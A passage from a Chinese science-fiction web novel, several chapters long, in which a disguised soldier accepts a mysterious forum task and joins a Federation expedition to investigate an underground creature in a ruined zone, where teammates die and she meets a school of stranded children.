录像暂停,宋拾抽回按在屏幕上的食指。 专家的这段话和一根小羽毛的评论有些许相同之处。 蜂后和母体,工蜂和大量生命体,而且都是在地下。 “不过这只是初步勘测,如果要想深入了解,我们还需要更多的设备人手。”专家看向上位者。 “当然,毕竟这关乎到社会的稳定与安全。”霍尔微微颔首,金眸毫无波澜。 他双手交叠放在桌上,扎成马尾的银丝瀑布般肆意流淌,似清冷月光下的冰湖,像一只优雅的猫科动物。 宋拾打量起他,霍尔好像许久没有好好休息过了,低垂的睫毛,眉宇间散不开的疲惫。 “我跟他们一起去。” 一道女声响起,众人立刻看向那位年轻的指挥官。 谅雀瞳孔黑而亮,语气毋庸置疑。 男人双眸微眯,鹰隼样的金眸紧紧锁定她,良久才点头道,“可以。” 突然,那淡金色的眸子微微上移,淬着寒冰,危险而具有侵略性。 一瞬间,她甚至以为他察觉到了什么,可而后,那双修眸又挪开了。 “……滋啦……滋啦……他来了。” 终端内流窜出电流声,墨格拉急促地说了句,录像消失,终端陡然黑屏。 “他”自然是智者。 旋即,屏幕再度亮起,论坛系统提示:“恭喜用户今天捡垃圾了吗触发任务!” “联邦各地都遭到了异种的破坏,诞生灵智的高阶异种和地缝里伸出的未知触手,隐藏在深处的真相究竟是什么?需要有人刨开土,挖出一条道才能看见。” “奖励为五百万星币,一瓶精神值拓宽药水,接受任务后会立即发放;任务成功,额外赠送一个奖励,不论什么要求智者都会满足;任务失败,后果自负。你可以拒绝,但为什么不试一下呢?” “yes or no。” 宋拾沉寂的心脏剧烈跳动起来。 每个人都有目的,智者一定也有。他和回溯有密切关系,甚至能左右西索斯的决定,是不是可以大胆地将回溯的目的当做是他的目的。 统治整个联邦? 不不不……宋拾觉得有些荒诞。 他能提供大笔星币,甚至有精神值拓宽药水这种开挂神器,可以轻而易举地湮灭人工智能的意识,手底下还有那么一堆用户可以利用,如果想要改朝换代,那不是轻而易举的事? 她看不清智者。 伊索纳德号的真相也好,还是现在的任务,都让她觉得无厘头且荒诞。 用户完成任务获得奖励,可这些任务的意义是什么? 她的眉蹙得越来越紧。 或许,不能从他的角度来看。 智者总能提供她正好需要的东西,无法拒绝的任务,丰厚的奖励。 比起墨格拉,他更像个人工智能,通过大数据精准地获取每个人的信息。 一切都是那么刚刚好,凑巧地雪中送炭。 他像个无形的手,躲在暗处,提拉着丝线操纵木偶。 是观众,也是编剧。 “yes or no。”屏幕的光有些刺眼。 宋拾接受任务。 她当然不会拒绝。 给出的奖励,恰好是她所需的。 财富,能力,和一份愿望。 第64章 “笃笃笃。” 房门陡然被敲响。 这么快? 宋拾微微怔愣, 快步走到门前,透过猫眼窥看,黑漆漆的走廊外空荡荡。 声控灯不可能灭的那么快。 她推开门, 潮湿霉气扑鼻而来, 长廊被死寂的黑暗笼罩,静得只能听见胸脯的闷响。 义眼轻轻转动逐渐适应黑暗,环顾四周,没有一个人,只有脚下的一个小方盒。 她的眉毛攒簇。 距离接受任务也才不过几秒钟,而现在, 那枚装有奖励的盒子就静静躺在她门口。 门“咚”地阖上。 “你确定我能杀死他吗?” 神秘, 强大。 宋拾倚靠着门,打开木盒。 柔软的羽毛上是细颈玻璃瓶,它的旁边是张泛黄的卡纸,画着一个腼腆笑脸,和一串简短的话: 真期待和你正式见面的那天。 在她视线接触到那行字的一刻, 卡纸如同被火点燃, 散成蓝色碎屑一点点消失。 很谨慎。 她在心里默默加了一句。 食指拇指捏起瓶颈,轻轻摇晃,液体随之晃动,昏黄的灯光穿透过玻璃瓶中透明的液体,折射出宝石般的光泽。 墨格拉沉默了许久,终端投射出蓝光,她在狭小的室内凝成虚拟的光影。 利落的短发,一成不变的微笑,她知道她的顾虑。 “有我在,你不会死。” 那双纯粹的眼眸微弯,她的手抬起,笑容依旧:“成功的可能性约为3 %,比上次高了不少。” 闻言,宋拾惊愕地看向她,“你怎么能保证我不会死?” “我是墨格拉,可同时我也是宙启,联邦的人工智能。”她柔声说道,“如果你需要,联邦的权限随时为你打开。” 很好,很大的一张饼。 宋拾没再说话,属于墨格拉的虚拟影像“滋啦”消散。她坐回床上,点开个人信息页面。 账户余额:五百一十三万六千三百星币 精神术法: 【骨肉再生】【复制】【隐身】【预知】【读取】【钢筋铁骨】 她瞥了眼掌心的玻璃瓶,抽出木塞。唇齿抵在瓶口,一口饮尽,入口甘甜,滑过喉咙时泛着薄荷的凉意。 很快,潮热的空气涌进肺部,宋拾的鼻尖沁出细汗,那股凉意在五脏六腑内烧起。 怎么……和上次不一样? 但现在才意识到不对劲为时已晚。 屋内静悄悄的,流淌着细碎的呼吸声,急促而紊乱。 “咳咳……”女人双颊泛红,干裂的唇瓣张张合合,喘着气。 挣扎着起身去触碰床头柜上的水杯,指尖用力伸长。 “咣当!”水杯倒在地上。 火在体内彻底燃烧起来,几近撕碎她。她意识逐渐朦胧,闷热的水汽似乎进了眼里,眼球胀痛酸痛。 大颗大颗汗珠从额头流下,划过脸颊、下颌,陷进衣领深入。 最终,那股热意彻底将她吞噬殆尽。 “嘀嗒。” 恍惚听见盥洗室没拧紧的水龙头滴落一滴水。 宋拾做了一个离谱的梦。 梦中,身为勇士的她来到一个国家,这个国家的王子被恶龙掳走了,国王恳求她救回王子。 面对亮晶晶的金砖,勇士·宋拾欣然答应了国王的请求。 一路披荆斩棘,终于抵达恶龙巢穴。 恶龙通体碧蓝,生有蓝宝石般的眼眸,它看见勇士,不禁羞红了脸,小声问道:“你是来找我的吗?” 勇士·宋拾摇了摇头,“不,我是来救王子的。” 恶龙怒了,“那个丑八怪哪里比不上我?”于是,张开深渊巨口朝她喷火。 勇士挥剑,与恶龙打的不可开交,终于,历经九死一生,她打晕恶龙找到了王子。 王子静静地躺着水晶棺材里,他的睫毛浓密,鼻梁高挺,有着绸缎似的银发。 按照童话故事,需要给王子一个真爱之吻唤醒他。 于是,她微微俯身。 突然,纤长的睫毛微颤,那双金色的眸子直勾勾盯着她。 “!!” 下一秒天旋地转,王子从腰间掏出银手镯铐住她,薄唇微弯,动听的嗓音吐出残忍的话语: “监狱将是你下半辈子的归宿。” …… 次日。 隔壁大早上装修,电锯声好不容易停下,楼上又“咚咚咚”响个不停,孩童的嬉笑声,来回奔跑。 床上的人哼哼几声,挣扎着弓腰半跪起身,她拧眉,眼皮掀开,黑漆的瞳孔微微呆滞。 好可怕的梦。 她缓慢地眨眼,瞥了眼墙上的电子时间,才慢腾腾拖起沉重的身体走向盥洗室洗了把脸,迟钝的大脑终于开始工作。 那个药水…… 她敲了敲发胀的额头,抬眸被镜中陌生的人脸吓了一跳,旋即反应过来那是于衡的面容。 “……”宋拾舒了口气,闭上眼感知精神空间。 识海似乎没什么变化,她来来回回摸索了几趟,确认,真的没有任何变化。 那她昨晚痛昏过去算什么? !算她皮糙肉厚吗? 人无语到极点真的会被气笑。 她噔噔噔走回卧室,顺手捞起床上的终端,点开吓了一跳,密密麻麻的短信疯狂蹦出,刷满整个屏幕。 “于衡,军律系统通知您,请在6月4日中午十二点之前前往闻楚云上尉的办公室。” “于衡,军律系统通知您,6月4日下午两点在联邦大楼集合,护送大指挥官前往E2604区。” “于衡……” 满屏的军律所短信,看得宋拾一个头两个大,她一目三行,专挑重要的看。 “ 6月4日……今天是……”她打开日历,上面赫然显示着:4033年6月4日。 宋拾:“……” 不会真那么倒霉吧,不是说好的三天假期吗? 她吞咽口水,目光移到时间,上午九点四十五分。 时钟滴滴答答,分针秒针震跳,一圈又一圈,似从天而降的雨珠落到水坑上泛起的涟漪。 暴雨滂沱,乌云低垂,水雾笼罩整座城市。 高速疾驰的悬浮车闯了一路的红灯,噼里啪啦的雨水敲打车窗,窗外氤氲雾气,隐隐透着霓虹灯的光。 “师傅,再快点!”宋拾攥紧终端,再度体会到了速度与激情。 司机瞥了眼后视镜中的女人,嘴里的烟明明灭灭,“哎呀,放心,不会让你迟到的。” “不过……我寻思,小姑娘你有些眼熟啊。” 他抽出一条手臂,摁开终端,页面是某短视频平台,视频中女人的脸和车中人的面容重合了。 司机两眼放光,嘴角展露微笑:“嚯!你就是于衡呀?怪不得要去军律所。放心咯,绝不会让你迟到的!” 说罢,他掐灭烟蒂,神色认真,一脚将油门踩到底,悬浮车车后的蓝色燃料猛地喷出。 宋拾:…… 感谢联邦网的营销。 抵达军律所,宋拾忍痛转了司机一大笔钱,火急火燎上电梯,险些撞倒一个机器人。 小机器人“啊呀”一声,屏幕上出现惊吓的表情,讨人喜欢的小孩音:“注意安全呀。” 它的“眼睛”打量眼前的女人,表情变成大大的笑脸,“于衡,早上好!” 电梯门关闭,宋拾摁了下按钮。 “……早上好。”她象征性地扯了下唇角。 小机器人盯着她,两条机械手乖巧的交叠在腹部,自带音效眨动圆眼,问道:“于衡,你看起来很疲惫,是没休息好吗?” 她张了张唇,话还没说出口,它突然弯腰凑到她面前,大气地掏出一瓶营养液:“给!” 宋拾迟疑了下,还是接过了玻璃瓶。 小机器人的“脸”上开始放烟花,稚嫩的嗓音软糯的像绵羊:“我是军律所的新员工,叫乐乐!累了饿了的话就来找我哦!” “谢谢。” 电梯门打开,她到了。 宋拾迈开腿走出去,忍不住回头问,“你的设计师是谁?” 闻言,乐乐圆圆的眼睛眨了眨,“是伟大的付秋棠小姐哦!” 一切都合理了。 “笃笃。” “进。”闻楚云掀开眼皮,看见宋拾,露出一抹歉意的笑来,“某人的假期恐怕要没了。” “这是军人的天职,随时待命。” 宋拾恭敬上前,余光瞥见桌上有张还未来得及收的照片。 青葱树荫下,两个年轻人勾肩搭背,笑容灿烂。一个佩戴义肢寸头,一个吊儿郎当咬着草,脸颊的疤痕衬得她格外不羁。 下刻,那照片被人收回抽屉里。 冷风拂起纱帘,裹着潮湿的寒气吹进室内。闻楚云揉揉鼻梁,“任务通知收到了吧?” “收到了。” 上尉颔首,指节叩响桌面,虚拟投影投送到两人面前,乌黑画面之上是无数个红色的圆点。 “这是……” “这是在联邦市地下检测到的生命迹象。” 全息投影画面变换,更加密集紧凑的红点跳动。 “这是E2604区的,”她嘴角往下压,眸色严肃而犀利,“ E2604区地下可能存在着母体,在进行繁殖,这次它们的动态是记载以来最活跃的一次。而你所说的地缝,极有可能是它们通向地表的大门。” “你是里面唯一的新人,凡事都要小心,考虑清楚再行动……你唯一的任务就是保证大指挥官的安全,听从她的指挥。” “是。” 宋拾没有问为什么她是里面唯一的新人。 渴的时候就有人送来水,这么重要的任务落到她身上,天底下哪来那么凑巧的事情? 她抿唇,退出办公室,走过玻璃窗时,一道深紫色的闪电劈破云层,狰狞骇人。 躲在幕布之后的家伙,究竟想要做什么? 第65章 “药剂还是老样子, 一个月打一针就行。” 医生推动了下金丝眼镜,看向坐在对面银发金眸的男人。 一向讲究的联邦上校,下颌上居然透着淡青色的胡茬,他深邃的眼窝下是一抹乌青,似乎好几夜未合过眼。 医生忍不住多嘴问了句: “那家伙还在折磨你?” 闻言,霍尔眼眸微抬,嘲弄笑道:“我用了他的力量,他来折磨我,算是扯平了吧。” “这几日,他一直在试图掌控我的身体, 一旦我陷入睡眠, 或是精神力下降, 他就能趁虚而入,获得身体的掌控权。” “……好在,现在我不需要他的力量了,不然在他获得身体掌控权前, 恐怕我会先一步猝死。” 他半开玩笑道。 医生叹了口气,目光沉沉落在他身上,犹豫许久才问:“我们是老朋友,我才敢这么问——霍尔,你觉得值得吗?” 值得吗? 霍尔没有回答,垂眸将针管推入淡青的经脉中。 他神色自然而平静,但随着药效发作,他的下颌紧紧绷起,豆大的汗珠从额头沁出,下腹随着呼吸剧烈起伏。 长睫颤抖着,喉结重重滑动,半晌,那双金眸重归冷漠。 “我想要的东西,从不考虑值不值得。” 从儿时的糖果到如今的权力,霍尔从未思考过所谓的值不值,在他眼中,想要某样东西,那么付出相应的代价是无比正常的一件事。 就像那些家伙想要触碰到不属于自己的力量,就该想到实验带来的后果。 “这么多年你还是一点也没变。”医生哑然失笑,“那就没有你得不到的东西吗?” 他以为霍尔会笃定却自信告诉他没有,可他却稍稍怔愣半秒,嗓音柔而轻,“有。” 医生顿时产生兴趣,“那是什么?” “一个尚未缉拿的罪犯。” “你……” 迎着老友欲言又止的目光,霍尔毫不犹豫起身离开了医疗室。 走廊外的凉风却无法让他的思绪冷静。 真奇怪。 他皱眉,按住胸脯,心脏扑通扑通剧烈而有力地跳动。 只有当执行危险任务时身体才会出现的反应,居然仅仅在脑海中突然冒出某个身影后止不住的搏动。 联邦大楼走廊一向人来人往,行色匆匆,干净的瓷砖地板上倒映着不同人的身影。 突然,一个熟悉的人影从他面前走过。电光火石间,躁动的血液泵入心脏,擂动的声响几乎震耳,霍尔本能地拉住对方的手腕。 “上校大人,晨光庇佑。”女人微垂了下头,右手置于胸口。 一头整齐利落的短发,亚洲人面孔,眼尾细长高挑,一副生人勿近的模样。 从未见过的面孔。 霍尔攒簇了下眉,立刻松开手,颔首:“晨光庇佑。” 女人正要抽身离去,他心脏奇异地抽动,几乎是下意识叫住她,“你叫什么名字?” “于衡。” 于衡,不是宋拾。 …… 在联邦大楼会碰上霍尔,宋拾早有心理准备,可眼看他们差点擦肩而过,被他冷不丁地一把扼住手腕,是她始料未及的。 是仪表步态暴露了,还是赵珂的面具失效了? 思绪乱如麻,宋拾只觉血液上涌,在耳边噼里啪啦炸开,她硬着头皮故作镇定,“上校大人,晨光庇佑。” 金眸落在她脸上,仔仔细细,一寸也未放过地打量。 宋拾心脏都快跳出嗓子眼,终于,霍尔松开了她,嗓音缓而沉:“晨光庇佑。” 她定了定神,脚下生风,正要逃离似地走开时,他偏偏又叫住了她。 该死。 宋拾从未觉得如此度秒如年。 他却莫名其妙问了一句,“你叫什么名字?” “于衡。” 幸好霍尔没再问别的,放了她的行,宋拾脚底抹油走得飞快,生怕慢了一秒,霍尔又要喊住她盘问。 他为什么要叫她? 看样子,他是没见过于衡的。 宋拾将自己从头到脚怀疑了个遍,也想不通可能露馅的地方。 但很快,她将疑惑暂且抛之脑后,前往武器库换上装备,跟着同事们登上了小型飞行器。 宋拾也再次见到了谅雀。 她神情淡淡,仿佛对什么都毫不在意,一双黑眸空洞地望向玻璃窗外。 专家团队为了弄清楚E2604区地下的母体究竟是什么东西,带了大大小小数十多个仪器。 但初步仅仅是为了了解,最多在E2604区待三天,配备的联邦军数量并不多,加上宋拾在内只有十人。 这次任务郭贾同也在。昏迷的人中,他是第一个睁眼的,无论是体能、身体素质,还是反应能力都排在前列。 见到她这个后辈,郭贾同微笑无声地向她打了声招呼,旋即收回视线,手指悄悄地勾了下身旁的女性联邦军。 对方一把握住他的手,十指交握。男人黝黑的皮肤上升腾一丝红,无比羞涩腼腆。 铁血硬汉居然会脸红? 吃瓜的不止有宋拾,大家无言,笑眯眯看着这对。 飞艇起飞。 宋拾注视着越来越远的联邦大楼,一阵感慨,她没想过自己居然会再去一次E2604区。 直到那栋大楼缩成黑点,看不见,她才收回视线。 专家设备屏幕中正好切到一张照片。 漫天黄沙,灯塔瘫痪,不同种类的变异生物追逐着人类。 E2604正如论坛的用户描述的那般,灯塔瘫痪失效。这对靠灯塔来维持平安生活的人们来说,无异于世界末日,再加上联邦政府根本不在乎他们的命。 谁会在意金字塔下蚂蚁的命呢? 他们数量庞大且无足轻重。 令宋拾格外在意的是,联邦网上关于E2604区的资料甚少。并非她阴谋论,这种情况但凡稍思考下,便能察觉到不对劲的地方。 联邦政府在有意隐瞒些什么。 没有哪个地方是天然的辐射区, E2604曾经是什么样子联邦网上毫无记载。 在久藤时,流浪汉说,异种是从实验室里爬出的怪物,也有说法是,它们来自于深不可测的深海。 而如今,得到的消息是,有一个庞大的母体沉睡在E2604区地下,并且不断繁殖。 如果母体一直在E2604区地下,为什么直到现在才被发现? 是有意隐瞒,还是……人类其实对它的存在一无所知。 宋拾忍不住发散思维。 如此广袤的土地,却成了不可触碰的禁地。 会不会那里曾经有过什么样的实验,导致那片地区成为禁地,异种泛滥。 倘若有,实验极有可能和异种有关,甚至是导致地球上的生物产生变异的真凶。 如果和异种有关,那这个实验又是什么? 一切都是迷云,只能等到了E2604区才能慢慢揭开这层纱雾。 她闭上眼休息,为接下来的硬仗养精蓄锐。 抵达E2604区正好是下午四点半。 黄沙几乎遮天蔽日,灯塔被摧毁,从天空俯瞰,看不见半点人影,而在浓浓的黄沙雾中,隐约透出庞然大物的身影,诡谲阴森。 专家团队将一早准备好的设备仪器打开,寻找母体确切的位置。 最终,在全息屏幕中,他们看到令人头皮发麻的一幕,密密麻麻的红点聚集于一个地方。 代表生命体征的红点不断跳动,偶尔轻微移动,幸好宋拾没有密恐症。 循着红点,飞艇驶到了最终目的地,一道巨大的裂隙横贯地面。 飞行器缓缓降落,他们看见地面有个不甚明显黑点,芝麻粒大小,炮弹装置立刻打开准备防御。 再近些时,才看清是一个人,挥舞招手,嘴里呼喊些什么,距离太远听不清。 一位白胡子老专家皱紧眉:“她疯了吗,这一带变异种遍布,她在这是想给那群怪物送口粮吗?” 飞行员开启广播,宙启的机械声响起:“请立刻撤离这里,请立刻撤离这里。” 然而,那人却没有离开,仍在挥舞手臂。 一位专家提议用激光器扫射,在辐射区生活的家伙,大脑谁知道还正不正常,说不定还记恨联邦,想趁机搞破坏。 谅雀淡漠扫了他一眼,那人立刻噤声。 飞行器彻底降落,由于不清楚对方的意图,联邦军戴上头盔,举起脉冲枪率先下飞行器。 女人身穿破旧发毛的大衣,灰头土脸,高举着手。 联邦军扣动扳机,警告:“再上前一步,我们就开枪了。” “别开枪!我是来提供信息的。”不知是喊了多久,她的嗓音劈裂似的嘶哑。 谅雀看向她:“什么信息?” 女人舔了舔干裂的嘴唇,“我可以告诉你们信息,但请大人答应我一件事。” 刚才那个提议扫射的专家跳出来,讥讽道:“你能提供什么信息?没有你,我们照样能查清楚。” 谅雀微微蹙眉:“先说你的请求,我来判断要求是否合理。” 女人喜出望外,“我能提供的信息非常重要,绝对不会让大人失望。要求就是……你们能在撤离这里时,带上学校的孩子们……” 察觉到他们眼神变化,她急忙摆手,“孩子们不是很多,没有你们那些大城市学校的学生多,我们一整个学校也就十三个学生。” “我们可以留在这里,死在这里,可那群孩子最大的才十四岁,最小的三岁……” 专家冷眼:“这有违联邦法。” “可以。”谅雀说。 “指挥官大人——” “我觉得很合理。”谅雀语调平淡,却不容置喙。 宋拾没想到, E2604区荒无人烟,资源极度匮乏,到处都是变异生物,可这里却有学校。 那人瞬间泪流满面跪拜,“有大人的承诺,我一定知无不言。” 经过了解,她叫琼,是学校的老师,也是校长。学校在西北方向,距离这里有一百千米的路程,本来不止她一个人,她俩是徒步而来,另外一位老师因极度缺水被留在了原地。 琼来到这里也是抱着必死的决心,甚至没有打算回去。 宋拾却捕捉到一个最为明显的问题,谅雀也同样注意到了,“你们怎么知道我们会来?” 这项任务是保密的,可她们却提前一天知道联邦的人会来到裂缝这里。 琼说:“这也是我要说的。几天前,我们这里来了一群穿着斗篷戴着面具,自称是哀涅托的人。他们在招收信徒,说成为信徒就能离开这里,大部分人跟着他们离开了,我们是被留下的那一批。” “那个神棍圣子告诉我们,五天后,联邦的人会来这里,他想让我们将你们骗进地下。” 显然,异种潮爆发和哀涅托有关,可他们究竟要做什么? “你为什么不按照他说的做?”谅雀问。 “我又不信奉那个所谓的苦难女神,如果真有神灵,我们也不该生活在水深火热之中。况且——离开的老师被他们骗进地底后,再也没上来过。” “…………” 当下在场的每个人脸色都不太好,琼的话是否真实依旧存疑,但无论如何,这个地缝他们是必须要下的。 琼知道自己的话毫无可信力,她神情无比诚挚:“不论你们让我做什么,我都会做,下地底下也可以。” “关于底下的生物,你了解多少?”一直沉默的白胡子老专家突然问道。 琼思索一番,说:“地面时常出现坍塌,地缝里冒出藤蔓和异种,关于地底,哀涅托自己的人下去过,但又平安无恙地出来了。” 这个重磅消息给宋拾震撼到失语。 这意味着哀涅托能够规避掉异种的攻击。普通异种没什么智慧和认知,见到活体就杀,哀涅托是怎么能够在地下走一圈后平安出来的,而且他们为什么要帮助那个母体,为母体提供营养? 一直以来,哀涅托掌控人们的思想、信仰,私底下和奥罗拉,依旧联邦一些旧势力联手研究永生实验,人造变异生物。 ——等等。 宋拾后知后觉突然想起,虽然在多科市安防局工作时,碰见的是哀涅托利用普通人来试所谓的“圣水”,可在永生实验室里的实验体无一例外都是人造变异生物。 甚至唯二成功的活体陶顺安,也是和某种变异的致幻花结合后进行的实验。 没人会去做吃力不讨好的事情。 只有人类和变异生物结合,再使用“美人鱼”的血,才有几率达到不生不死。 以上都是可以解释得通,可哀涅托帮母体补充营养,究竟为了什么? 第66章 谅雀和专家团商讨后决定,暂时先放两名联邦军和一位专家下去。 他们身穿防护服和头盔,腰腹上绑着长长的、特殊材质的绳状设备,确保能原路返回,哪怕遇到危险,上面的人也能迅速将他们拉上去。 很快,三个人被放了下去,消失在深不可测的缝隙中。 设备显示屏上一面是属于他们三人的蓝点,一面是他们投射出的影像。专家团则尽心尽力观察局势,提前为他们规避风险,避开可能碰上异种的甬道。 距离越远, 通讯声越断断续续滋滋啦啦。 宋拾盯着屏幕,投影中,甬道漆黑,四处栖生的藤蔓,泛着点点诡异的蓝色荧光,忽明忽暗,如同呼吸一般。 白胡子老专家用刀割出一小截藤蔓, 收进挂在腰间的特殊皮质袋中。 “这里……到处都是藤蔓,但……滋滋……但它们……很安静。” 地下四通八达,全是地道, 四处爬满成人腰粗的藤蔓。 倒也幸运, 除了两次险些和异种碰头,一路上几乎畅通无阻。 左屏幕上红点离蓝点很远,他们很安全。右屏幕显示的则是逐渐空旷宽敞的地道。 一根硕大的根茎分散出无数荧光触须陷入土壤,粗得无法用肉眼丈量其宽度。 老专家秉持探究心态,举着强光探照灯走近,在看清后惊骇地后退步,被蜿蜒盘旋的藤蔓绊倒。 “怎么了?”头盔内传来同事的询问。 “……”专家吞咽了口口水,战战兢兢指着根茎,坚强站起,将镜头对准。 根茎的薄膜下,是一张张人脸,面容清晰可见,仔细观看,他们并没有死,还有呼吸。 全场瞬间鸦雀无声。 “我认识他们……” 那位校长惊恐瞪大眼睛,惊魂不定盯着屏幕:“是我们学校的老师,几天前他们是被哀涅托带到了下面……他们现在还活着吗?” “还活着。”设备内传来联邦军的声音,她观察了下那层薄膜,皱眉问道,“指挥官,需要救他们吗?” 谅雀思忖片刻,“先将薄膜划开,看看他们还有没有意识。” “是。”两名联邦军用军刀破开薄膜。 强光下,覆盖在肌肤上的那层黏腻湿滑的液体活像鼻涕泡,一碰还叽里咕噜作响。 “醒醒……醒醒……” 他们两人想先将一个人从根茎里拔出来,可拔了半天,先不说湿滑,那人仿佛与根融为一体一般拔不动。 融为一体…… 老专家心中升起不好的预感,推开他们,探照灯照去——那人的下半身完全被藤蔓吞噬。 可他还活着,胸脯仍在平稳地起伏,鼻息有呼吸。 怪事。 老专家凝重地掀开他的眼皮。瞳孔涣散,对强光毫无反应,似乎是陷入了深度昏迷。 “滋滋……滋滋。” 太过聚精会神,让他大脑自动过滤掉头盔内不断传来刺刺啦啦的信号声响。 直到一声清晰的怒吼。 “快走!离开这里!大批异种朝你们奔来……” 地面,观察控制器的工作人员急急叫喊,原本清晰的屏幕画面开始模糊,雪花一片。 他们满头大汗,惊恐地盯着红色原点不断地朝着蓝点放心靠近。 越是靠近,信号愈发不稳。 究竟是什么让它们同时注意到了那里? “拉他们上来。”谅雀蹙眉,立刻下达指令。 “来不及了……每一条路上都有异种。” 听到这句话,地下的人彻底地绝望,这相当于掐断了他们最后一丝希望。 “…………” “…………” 长久的沉默,用不了一分钟,那群家伙便会涌过去围堵住他们,没有任何回旋余地。 宋拾恍惚听到稀碎的、哀恸的声响,就在身侧。她转动眼珠看去,只见郭贾同赤红着双眼,死死盯着屏幕,粗重的喘息声里夹杂着似有若无的哭泣。 她这才注意到,那位眼熟女性联邦军。 今天上午,她还嘴角含笑着和他十指紧扣。 那名女性联邦军好像察觉到爱人的视线似的,原本严肃的表情渐渐松动,微笑:“郭贾同。” “我在。”男人绷紧的声音在崩溃的边缘。 “我爱你。” “我……也是。”男人似乎用尽全身力量说完这三个字,咬紧牙关,崩溃地闭上了眼睛,呜咽的声响从他喉咙里冒出。 老专家一言不发,将挂在腰上的绳索取下,脱掉的防护服紧紧缠住藤蔓,又用将挂钩紧紧缠上。 下一秒,右边屏幕彻底失去信号,滋啦雪花点布满。而红光点也在顷刻间占据整个左屏幕,吞噬掉蓝点。 三个活生生的人就这么在眼前消逝,男人再也抑制不住的哭声被呼啸的风声压去。 …… E2604区什么都没有,没有鲜花,没有高楼大厦,漫天遍野的黄沙。 可这里有学校。 在这么一个荒凉危险的地方建着学校,老师和课本从哪里来,建设一所学校又要花费多少精力和资源,从未有人思考过。 可偏偏,这片荒漠上开出了花。 天色渐渐暗了下去,调查才刚刚有进展,即便一下牺牲了三个人,也不可能就此离开。 索性,飞行器降落在了这所破旧小的学校。 老专家拼命保留的藤蔓已经被专家团拿到飞艇上去研究成分了。 谅雀则和一部分人员分析异种突然暴动的原因。 这个学校,除去琼,还有两位老师,十三个孩子。他们的亲人要么被异种吃掉,要么跟着哀涅托进了地下。 琼说,原本这里有三十九个学生,她不希望他们也从她眼前消失。 呼啸的风中,不时飘荡来异种毛骨悚然的叫嚎。 E2604区永远是地狱,不离开这里,死亡永远守在下一秒。 队员们分出食物给孩子和老师们,仅仅是奶酪、干面包片,对他们来说却像过节一般喜悦,虔诚而小声地歌颂食物。 围着篝火,队员们啃着面包,谁也不说话,仿佛死亡的阴霾仍笼罩在头顶。 郭贾同像失了魂一般,眼神空洞看着火焰噼里啪啦燃烧,大家怕他想不开,派出一个人和他一同进飞艇休息。 坐在宋拾身旁的小女孩,叫米法特,有着一头浅金的短发,纯净漂亮的眼眸。 但她双臂残缺,灰扑扑的面庞上残留着旧疤,伤是好了,可疤痕永远地刻印在她稚嫩的面庞上。 她看见宋拾手臂上的肌肉,羡慕地问:“我可以碰一下吗?” “可以。” “谢谢。”她轻轻地将脸贴在宋拾的手臂上,动作无比小心翼翼,一触即离。 米法特是个小话痨,又怕打扰到别人,小声地在宋拾耳边如数家珍说着自己经历的事。 “琼老师是个很温柔的人!”女孩的眼眸如同星星般闪烁明亮。 宋拾即便再绷着一张脸,也忍不住微笑。 “告诉你一个秘密,琼老师不是E2604区的人,她出生在联邦市!联邦市,可她偏偏来到了我们这个糟糕的地方,一来就是十几年,其实我不明白,她为什么要留在这里,这里那么危险。” 琼皱紧眉头,纠正她,“米法特,这并不值得拿出来说。” “怎么不值得,您是全世界最好的人。”米法特嘟嘴。 琼看向孩子们,露出笑容:“好了好了,有一件好事要告诉你们……以后,你们就可以到别的城市生活了,永远逃离E2604区,这些姐姐会帮你。” 离开这里? 孩子们不可置信追问,得到确切答案后止不住小声欢呼。 唯独米法特神色黯淡下去。 琼蹙眉,以为她是在意身体的残缺,“乖姑娘,外面人人安装义肢,到了那里安上义肢,你可以做你想做的一切,不用担心旁人用异样的眼光看你。” 米法特一言不发垂下头。 天空透着浓重的黑,篝火早已熄灭,异种的嚎叫像从很远传来,又近在咫尺。 上半夜是宋拾守夜,她坐在砖头垒砌的墙上,打开夜视功能。 漆黑中她看见一个单薄,孤独的小身影从学校溜出来,蜷缩成一团,努力抑制住啜泣声。 “小朋友,大半夜出来很危险哦。” 米法特抬头,黑暗中她看不清对方,但音色立刻让她辨别出是宋拾。 “那些怪物摧毁了我的家,废墟里埋葬了好多我的亲人,如果不是琼老师救了我,我也会和爸爸妈妈一样长眠在地下……” 宋拾沉默着,聆听她的话。 “我知道,琼老师无论如何都不会离开这里……可如果没有她,我去别的地方又能怎么办?”她哽咽的声音几乎绝望,“我很懦弱……我害怕夜里那些怪物的呜咽,可更害怕没有人陪伴的未来。 宋拾沉默良久。 于她而言,所有的选择都围绕着利益与生存。在生存面前,她通常将感情压缩到无限稀薄,对生存的渴望放得无限大,甚至忘记曾经自己也有过茫然无措。 被亲人抛弃,伙伴背叛,孤立无援的日子日复一日,她的后背空空荡荡,只有她自己,所以她咬着牙坚持,靠自己侥幸从死神的手里逃过了一次又一次。 只有经历过这些,才知道平稳生活的可贵。 可往往,当你真正只剩下一个人,那遥不可及的幸福只需要再往前走一步,便触手可及时,心中有会生出迷惘与恐惧来。 宋拾难得温柔,替她抹干泪水,坚定告诉她,“亲爱的,你配拥有幸福,更不懦弱,你只是需要再勇敢一点点。” “琼校长是个伟大的老师,她想解救更多像你一样的人,所以选择留下来,她豁出性命为你们谋出这一条几乎不可能的路,你一定要把握好。” 宋拾微笑着,揉了揉她毛绒绒的脑袋:“离开这里,你们能获得联邦救济所提供的帮助,不论是上学教育,还是为你提供义肢,到那个时候,无论你想做什么,一切皆有可能,未来是有无限可能。” 还要守夜,她扭身离开,留下一句:“晚安小家伙,明天见。” 宋拾走远,黑暗中才轻轻飘出一句小声的:“大姐姐,晚安。” 第67章 清晨, 一缕斜阳挂在天边尽头,狂风呼啸,黄沙飞舞科研人员和联邦军站在裂缝不远处。 这趟下地底的目标是寻找母体,虽说有指挥官亲自陪同,但死的可能性远大于生,危险程度比昨天要高出数倍。 身为军人,即便前方是枪林弹雨,她们也绝不退缩。 吊在腰间的绳索收紧,身体缓缓下降,眼前被黑暗吞噬殆尽, 耳边是队友轻浅的呼吸声。 宋拾打开夜视功能, 悬空的脚下依旧深不可测。 冷不丁地, 脑海中闪过谅雀的话。 一、藤蔓无细胞壁,各项数据显示,它不是植物,而是动物。 二、下地面后, 不得擅自离队, 不能触碰藤蔓、根茎,更不能划开薄膜救人。 漆黑、安静、空洞,在这死寂的环境里, 她甚至能听见血液在血管中流动, 心脏的搏动声。 也许,一两个小时后,她会后悔她愚蠢决定,又或许还没来得及悔恨便死去,但宋拾不得不承认,这的确是个难得的机会。 越往深处, 温度越低,宋拾忍不住打了个寒噤。 那些阴冷的寒气似乎透过防护服渗透过肌肤,蔓延四肢百骸,将她的身体冻得僵硬。 